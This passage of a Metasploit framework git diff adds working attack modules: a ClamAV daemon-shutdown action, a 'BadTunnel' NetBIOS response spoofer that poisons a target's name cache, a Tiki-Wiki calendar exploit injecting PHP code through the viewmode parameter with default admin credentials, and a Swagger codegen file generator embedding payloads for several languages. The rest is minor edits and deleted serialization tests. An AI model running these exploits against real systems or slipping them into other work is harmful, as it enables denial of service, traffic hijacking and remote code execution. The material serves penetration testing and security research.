'Alejandro Hdeza', # DISCOVER
|
||||
'bwatters-r7', # MODULE
|
||||
'wvu' # GUIDANCE
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'https://twitter.com/nitr0usmx/status/740673507684679680/photo/1' ],
|
||||
[ 'URL', 'https://github.com/vrtadmin/clamav-faq/raw/master/manual/clamdoc.pdf' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jun 8 2016',
|
||||
'Actions' => [
|
||||
[ 'VERSION', 'Description' => 'Get Version Information' ],
|
||||
[ 'SHUTDOWN', 'Description' => 'Kills ClamAV Daemon' ]
|
||||
],
|
||||
'DefaultAction' => 'VERSION'
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3310)
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(_ip)
|
||||
begin
|
||||
connect
|
||||
sock.put(action.name + "\n")
|
||||
print_good(sock.get_once)
|
||||
rescue EOFError
|
||||
print_good('Successfully shut down ClamAV Service')
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
|
@ -31,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def run_host(ip)
|
||||
|
||||
if !mssql_login_datastore
|
||||
print_error("#{rhost}:#{rport} - Invalid SQL Server credentials")
|
||||
print_error("Invalid SQL Server credentials")
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -150,7 +150,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
login = create_credential_login(login_data)
|
||||
|
||||
tbl << [row[0], row[1]]
|
||||
print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}")
|
||||
print_good("Saving #{hashtype} = #{row[0]}:#{row[1]}")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -160,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
|
||||
|
||||
if is_sysadmin == 0
|
||||
print_error("#{rhost}:#{rport} - The provided credentials do not have privileges to read the password hashes")
|
||||
print_error("The provided credentials do not have privileges to read the password hashes")
|
||||
return nil
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,159 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)',
|
||||
'Description' => %q{
|
||||
This module listens for a NetBIOS name request and then continuously spams
|
||||
NetBIOS responses to a target for given hostname, causing the target to cache
|
||||
a malicious address for this name. On high-speed networks, the PPSRATE value
|
||||
should be increased to speed up this attack. As an example, a value of around
|
||||
30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup.
|
||||
Distant targets may require more time and lower rates for a successful attack.
|
||||
|
||||
This module works when the target is behind a NAT gateway, since the stream of
|
||||
NetBIOS responses will keep the NAT mapping alive after the initial setup. To
|
||||
trigger the initial NetBIOS request to the Metasploit system, force the target
|
||||
to access a UNC link pointing to the same address (HTML, Office attachment, etc).
|
||||
|
||||
This NAT-piercing issue was named the 'BadTunnel' vulnerability by the discoverer,
|
||||
Yu Yang (@tombkeeper). The Microsoft patches (MS16-063/MS16-077) impact the way
|
||||
that the proxy host (WPAD) host is identified, but do change the predictability
|
||||
of NetBIOS requests.
|
||||
|
||||
},
|
||||
'Authors' => [
|
||||
'vvalien', # Metasploit Module (post)
|
||||
'hdm', # Metasploit Module
|
||||
'tombkeeper' # Vulnerability Discovery
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'],
|
||||
['CVE', '2016-3213'],
|
||||
['MSB', 'MS16-063'],
|
||||
['CVE', '2016-3236'],
|
||||
['MSB', 'MS16-077']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 14 2016'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]),
|
||||
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
|
||||
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
|
||||
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def netbios_service
|
||||
@port = datastore['SRVPORT'].to_i
|
||||
|
||||
# MacOS X workaround
|
||||
::Socket.do_not_reverse_lookup = true
|
||||
|
||||
@sock = ::UDPSocket.new()
|
||||
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
@sock.bind(datastore['SRVHOST'], @port)
|
||||
|
||||
@targ_rate = datastore['PPSRATE']
|
||||
@fake_name = datastore['NBNAME']
|
||||
@fake_addr = datastore['NBADDR']
|
||||
|
||||
print_status("Listening for NetBIOS requests...")
|
||||
|
||||
begin
|
||||
loop do
|
||||
packet, addr = @sock.recvfrom(65535)
|
||||
next if packet.length == 0
|
||||
|
||||
@targ_addr = addr[3]
|
||||
@targ_port = addr[1]
|
||||
break
|
||||
end
|
||||
|
||||
# TODO: Seed our counter based on the TXID of this request
|
||||
print_status("Received a NetBIOS request from #{@targ_addr}:#{@targ_port}")
|
||||
@sock.connect(@targ_addr, @targ_port)
|
||||
|
||||
netbios_spam
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Error #{e.class} #{e} #{e.backtrace}")
|
||||
ensure
|
||||
@sock.close if @sock
|
||||
end
|
||||
end
|
||||
|
||||
def netbios_spam
|
||||
payload =
|
||||
"\xff\xff" + # TX ID (will brute force this)
|
||||
"\x85\x00" + # Flags = response + authoratative + recursion desired
|
||||
"\x00\x00" + # Questions = 0
|
||||
"\x00\x01" + # Answer RRs = 1
|
||||
"\x00\x00" + # Authority RRs = 0
|
||||
"\x00\x00" + # Additional RRs = 0
|
||||
"\x20" +
|
||||
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
|
||||
"\x00" +
|
||||
"\x00\x20" + # Type = NB
|
||||
"\x00\x01" + # Class = IN
|
||||
"\x00\x04\x93\xe0" + # TTL long time
|
||||
"\x00\x06" + # Datalength = 6
|
||||
"\x00\x00" + # Flags B-node, unique
|
||||
Rex::Socket.addr_aton(@fake_addr)
|
||||
|
||||
stime = Time.now.to_f
|
||||
pcnt = 0
|
||||
pps = 0
|
||||
|
||||
print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
|
||||
|
||||
live = true
|
||||
while live
|
||||
0.upto(65535) do |txid|
|
||||
begin
|
||||
payload[0,2] = [txid].pack("n")
|
||||
@sock.write(payload)
|
||||
pcnt += 1
|
||||
|
||||
pps = (pcnt / (Time.now.to_f - stime)).to_i
|
||||
if pps > @targ_rate
|
||||
sleep(0.01)
|
||||
end
|
||||
rescue Errno::ECONNREFUSED
|
||||
print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
|
||||
live = false
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
loop { netbios_service }
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,151 @@
|
|||
##
|
||||
## This module requires Metasploit: http://metasploit.com/download
|
||||
## Current source: https://github.com/rapid7/metasploit-framework
|
||||
###
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Tiki-Wiki CMS Calendar Command Execution',
|
||||
'Description' => %q(
|
||||
Tiki-Wiki CMS's calendar module contains a remote code execution
|
||||
vulnerability within the viewmode GET parameter.
|
||||
The calendar module is NOT enabled by default. If enabled,
|
||||
the default permissions are set to NOT allow anonymous users
|
||||
to access.
|
||||
|
||||
Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14
|
||||
Verified/Tested against 14.1
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@shorebreaksecurity.com>', # module
|
||||
'Dany Ouellet' # discovery
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '39965' ],
|
||||
[ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w( php ),
|
||||
'Privileged' => false,
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic Target', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 06 2016'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']),
|
||||
OptString.new('USERNAME', [ false, 'Username of a user with calendar access', 'admin']),
|
||||
OptString.new('PASSWORD', [ false, 'Password of a user with calendar access', 'admin'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
# returns cookie regardless of outcome
|
||||
def authenticate
|
||||
begin
|
||||
# get a cookie to start with
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
cookie = res ? res.get_cookies : ''
|
||||
# if we have creds, login with them
|
||||
vprint_status('Attempting Login')
|
||||
# the bang on the cgi will follow the redirect we receive on a good login
|
||||
res = send_request_cgi!(
|
||||
'uri' => normalize_uri(target_uri.path, 'tiki-login.php'),
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'vars_post' =>
|
||||
{
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD'],
|
||||
'login' => '',
|
||||
'stay_in_ssl_mode_present' => 'y',
|
||||
'stay_in_ssl_mode' => 'n'
|
||||
}
|
||||
)
|
||||
# double check auth worked and we got a Log out on the page.
|
||||
# at times I got it to auth, but then it would give permission errors
|
||||
# so we want to try to double check everything is good
|
||||
if res && !res.body =~ /Log out/
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
end
|
||||
vprint_good("Login Successful!")
|
||||
return cookie
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
|
||||
# sends the calendar packet, returns the HTTP response
|
||||
def send_calendar_packet(cookie, data)
|
||||
begin
|
||||
return send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'),
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'vars_get' =>
|
||||
{
|
||||
'viewmode' => "';#{data};$a='"
|
||||
}
|
||||
)
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
|
||||
# Version numbers are post auth, so we send a print statement w/
|
||||
# 10 random characters and check for it in the response
|
||||
def check
|
||||
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
|
||||
cookie = authenticate
|
||||
end
|
||||
|
||||
flag = Rex::Text.rand_text_alpha(10)
|
||||
res = send_calendar_packet(cookie, "print(#{flag})")
|
||||
|
||||
if res
|
||||
if res.body =~ /You do not have permission to view the calendar/i
|
||||
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
|
||||
elsif res.body =~ />#{flag}</
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
|
||||
cookie = authenticate
|
||||
end
|
||||
|
||||
vprint_status('Sending malicious calendar view packet')
|
||||
res = send_calendar_packet(cookie, payload.encoded)
|
||||
if res && res.body =~ /You do not have permission to view the calendar/i
|
||||
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,162 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
require 'base64'
|
||||
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'JSON Swagger CodeGen Parameter Injector',
|
||||
'Description' => %q{
|
||||
This module generates a Open API Specification 2.0 (Swagger) compliant
|
||||
json document that includes payload insertion points in parameters.
|
||||
|
||||
In order for the payload to be executed, an attacker must convince
|
||||
someone to generate code from a specially modified swagger.json file
|
||||
within a vulnerable swagger-codgen appliance/container/api/service,
|
||||
and then to execute that generated code (or include it into software
|
||||
which will later be executed by another victim). By doing so, an
|
||||
attacker can execute arbitrary code as the victim user. The same
|
||||
vulnerability exists in the YAML format.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'ethersnowman <scott_davis@rapid7.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
|
||||
],
|
||||
'Platform' => %w{ nodejs php java ruby },
|
||||
'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
|
||||
'Targets' =>
|
||||
[
|
||||
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
|
||||
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
|
||||
['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
|
||||
['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
|
||||
],
|
||||
'DisclosureDate' => 'Jun 23 2016',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
|
||||
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
|
||||
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
|
||||
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
|
||||
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
|
||||
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
|
||||
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
|
||||
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
|
||||
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
|
||||
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
|
||||
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def swagger
|
||||
%Q(
|
||||
{
|
||||
"swagger": "2.0",
|
||||
"info": {
|
||||
"description": "#{datastore['INFO_DESCRIPTION']}",
|
||||
"version": "#{datastore['INFO_VERSION']}",
|
||||
"title": "#{datastore['INFO_TITLE']}"
|
||||
},
|
||||
"schemes": [
|
||||
"#{datastore['SWAGGER_SCHEME']}"
|
||||
],
|
||||
"host": "#{datastore['SWAGGER_HOST']}",
|
||||
"basePath": "#{datastore['BASE_PATH']}",
|
||||
"produces": [
|
||||
"application/json"
|
||||
],
|
||||
"consumes": [
|
||||
"application/json"
|
||||
],
|
||||
"paths": {
|
||||
"#{datastore['PATH']}": {
|
||||
"get": {
|
||||
"description": "#{datastore['PATH_DESCRIPTION']}",
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
|
||||
"schema": {
|
||||
"$ref": "#/definitions/d"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"definitions": {
|
||||
"d": {
|
||||
"type": "object",
|
||||
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
case payload.arch[0]
|
||||
when 'nodejs'
|
||||
payload_loc = 'PATH'
|
||||
payload_prefix = "/a');};};return exports;}));"
|
||||
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
|
||||
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
|
||||
when 'php'
|
||||
payload_loc = 'INFO_DESCRIPTION'
|
||||
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
|
||||
payload_suffix = "')); /*"
|
||||
wrapped_payload = payload_prefix +
|
||||
Base64.strict_encode64(payload.encoded) +
|
||||
payload_suffix
|
||||
when 'ruby'
|
||||
payload_loc = 'INFO_TITLE'
|
||||
payload_prefix = "=end "
|
||||
payload_suffix = "=begin "
|
||||
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
|
||||
when 'java'
|
||||
payload_loc = 'PATH'
|
||||
payload_prefix = %q{a\\\"; "}
|
||||
p = payload.encoded.gsub(/<%@page import="/, 'import ')
|
||||
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
|
||||
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
|
||||
wrapped_payload = payload_prefix + p
|
||||
else
|
||||
raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
|
||||
end
|
||||
|
||||
datastore[payload_loc] = wrapped_payload
|
||||
|
||||
print_status swagger
|
||||
file_create swagger
|
||||
end
|
||||
end
|
|
@ -88,7 +88,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
|
||||
def set_module_options(mod)
|
||||
self.datastore.each do |k,v|
|
||||
self.datastore.each_pair do |k,v|
|
||||
mod.datastore[k] = v
|
||||
end
|
||||
if !mod.datastore['SESSION'] && session.present?
|
||||
|
|
|
@ -1,143 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Builder do
|
||||
subject(:builder) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:class_opts) do
|
||||
{
|
||||
name: 'java.rmi.MarshalledObject',
|
||||
serial: 0x7cbd1e97ed63fc3e,
|
||||
fields: [
|
||||
['int', 'hash'],
|
||||
['array', 'locBytes', '[B'],
|
||||
['array', 'objBytes', '[B']
|
||||
]
|
||||
}
|
||||
end
|
||||
|
||||
let(:object_opts) do
|
||||
{
|
||||
data: [["int", 1]]
|
||||
}
|
||||
end
|
||||
|
||||
let(:array_opts) do
|
||||
{
|
||||
values_type: 'byte',
|
||||
values: [0x41, 0x42, 0x43, 0x44]
|
||||
}
|
||||
end
|
||||
|
||||
describe ".new" do
|
||||
it "returns a Rex::Java::Serialization::Builder" do
|
||||
expect(builder).to be_a(Rex::Java::Serialization::Builder)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#new_class" do
|
||||
context "when no options" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
|
||||
expect(builder.new_class).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
||||
end
|
||||
|
||||
it "sets an empty class name" do
|
||||
expect(builder.new_class.class_name.contents).to eq('')
|
||||
end
|
||||
|
||||
it "sets a 0 serial version" do
|
||||
expect(builder.new_class.serial_version).to eq(0)
|
||||
end
|
||||
|
||||
it "sets flags to SC_SERIALIZABLE" do
|
||||
expect(builder.new_class.flags).to eq(Rex::Java::Serialization::SC_SERIALIZABLE)
|
||||
end
|
||||
|
||||
it "sets default annotations" do
|
||||
expect(builder.new_class.class_annotation.contents.length).to eq(2)
|
||||
end
|
||||
|
||||
it "sets empty fields" do
|
||||
expect(builder.new_class.fields.length).to eq(0)
|
||||
end
|
||||
|
||||
it "sets null super class" do
|
||||
expect(builder.new_class.super_class.description).to be_a(Rex::Java::Serialization::Model::NullReference)
|
||||
end
|
||||
end
|
||||
|
||||
context "when options" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
|
||||
expect(builder.new_class(class_opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
||||
end
|
||||
|
||||
it "sets the class name from options" do
|
||||
expect(builder.new_class(class_opts).class_name.contents).to eq(class_opts[:name])
|
||||
end
|
||||
|
||||
it "sets serial version from options" do
|
||||
expect(builder.new_class(class_opts).serial_version).to eq(class_opts[:serial])
|
||||
end
|
||||
|
||||
it "sets fields from options" do
|
||||
expect(builder.new_class(class_opts).fields.length).to eq(3)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#new_object" do
|
||||
context "when no options" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewObject" do
|
||||
expect(builder.new_object).to be_a(Rex::Java::Serialization::Model::NewObject)
|
||||
end
|
||||
|
||||
it "sets empty data" do
|
||||
expect(builder.new_object.class_data).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context "when options" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewObject" do
|
||||
expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject)
|
||||
end
|
||||
|
||||
it "sets data from options" do
|
||||
expect(builder.new_object(object_opts).class_data[0][1]).to eq(1)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#new_array" do
|
||||
context "when no options" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewArray" do
|
||||
expect(builder.new_array).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "sets empty values type" do
|
||||
expect(builder.new_array.type).to eq('')
|
||||
end
|
||||
|
||||
it "sets empty values array" do
|
||||
expect(builder.new_array.values).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context "when options" do
|
||||
it "returns a Rex::Java::Serialization::Model::NewArray" do
|
||||
expect(builder.new_array(array_opts)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "sets empty values type" do
|
||||
expect(builder.new_array(array_opts).type).to eq(array_opts[:values_type])
|
||||
end
|
||||
|
||||
it "sets empty values array" do
|
||||
expect(builder.new_array(array_opts).values).to eq(array_opts[:values])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,105 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::Annotation do
|
||||
subject(:annotation) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:empty_contents) { "\x78" }
|
||||
let(:empty_contents_io) { StringIO.new(empty_contents) }
|
||||
let(:contents) { "\x77\x05\x01\x02\x03\x04\x05\x7a\x00\x00\x00\x05\x01\x02\x03\x04\x05\x78" }
|
||||
let(:contents_io) { StringIO.new(contents) }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::Annotation" do
|
||||
expect(annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
|
||||
end
|
||||
|
||||
it "initializes contents with empty array" do
|
||||
expect(annotation.contents).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
|
||||
context "when empty contents" do
|
||||
it do
|
||||
annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
expect(annotation.encode).to eq(empty_contents)
|
||||
end
|
||||
end
|
||||
|
||||
context "when block data contents" do
|
||||
it do
|
||||
annotation.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x01\x02\x03\x04\x05")
|
||||
annotation.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, "\x01\x02\x03\x04\x05")
|
||||
annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
expect(annotation.encode).to eq(contents)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
|
||||
context "when empty contents" do
|
||||
it "returns a Rex::Java::Serialization::Model::Annotation" do
|
||||
expect(annotation.decode(empty_contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation)
|
||||
end
|
||||
|
||||
it "unserializes one content" do
|
||||
annotation.decode(empty_contents_io)
|
||||
expect(annotation.contents.length).to eq(1)
|
||||
end
|
||||
|
||||
it "unserializes one EndBlockData content" do
|
||||
annotation.decode(empty_contents_io)
|
||||
expect(annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData)
|
||||
end
|
||||
end
|
||||
|
||||
context "when block data contents" do
|
||||
it "returns a Rex::Java::Serialization::Model::Annotation" do
|
||||
expect(annotation.decode(contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation)
|
||||
end
|
||||
|
||||
it "deserializes contents" do
|
||||
annotation.decode(contents_io)
|
||||
expect(annotation.contents.length).to eq(3)
|
||||
end
|
||||
|
||||
it "deserializes block data contents" do
|
||||
annotation.decode(contents_io)
|
||||
expect(annotation.contents[0]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockData)
|
||||
end
|
||||
|
||||
it "deserializes block data long contents" do
|
||||
annotation.decode(contents_io)
|
||||
expect(annotation.contents[1]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockDataLong)
|
||||
end
|
||||
|
||||
it "deserializes end block data" do
|
||||
annotation.decode(contents_io)
|
||||
expect(annotation.contents[2]).to be_a_kind_of(Rex::Java::Serialization::Model::EndBlockData)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints an empty annotation" do
|
||||
annotation.decode(empty_contents_io)
|
||||
expect(annotation.to_s).to eq('[ EndBlockData ]')
|
||||
end
|
||||
|
||||
it "prints an annotation with contents" do
|
||||
annotation.decode(contents_io)
|
||||
expect(annotation.to_s).to eq('[ BlockData { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, BlockDataLong { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, EndBlockData ]')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,107 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::BlockDataLong do
|
||||
subject(:block) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" }
|
||||
let(:sample_block_io) { StringIO.new(sample_block) }
|
||||
let(:empty_block) { "\x00\x00\x00\x00" }
|
||||
let(:empty_block_io) { StringIO.new(empty_block) }
|
||||
let(:incomplete_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05" }
|
||||
let(:incomplete_block_io) { StringIO.new(incomplete_block) }
|
||||
let(:empty_io) { StringIO.new('') }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::BlockDataLong" do
|
||||
expect(block).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
|
||||
end
|
||||
|
||||
it "initializes length to 0" do
|
||||
expect(block.length).to eq(0)
|
||||
end
|
||||
|
||||
it "initializes contents with empty string" do
|
||||
expect(block.contents).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
context "when empty block" do
|
||||
it { expect(block.encode).to eq(empty_block) }
|
||||
end
|
||||
|
||||
context "when filled block" do
|
||||
it do
|
||||
block.length = 16
|
||||
block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||||
expect(block.encode).to eq(sample_block)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
context "when stream contains empty string" do
|
||||
it "returns nil" do
|
||||
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains empty block" do
|
||||
it "returns a Rex::Java::Serialization::Model::BlockDataLong" do
|
||||
expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
|
||||
end
|
||||
|
||||
it "sets length to 0" do
|
||||
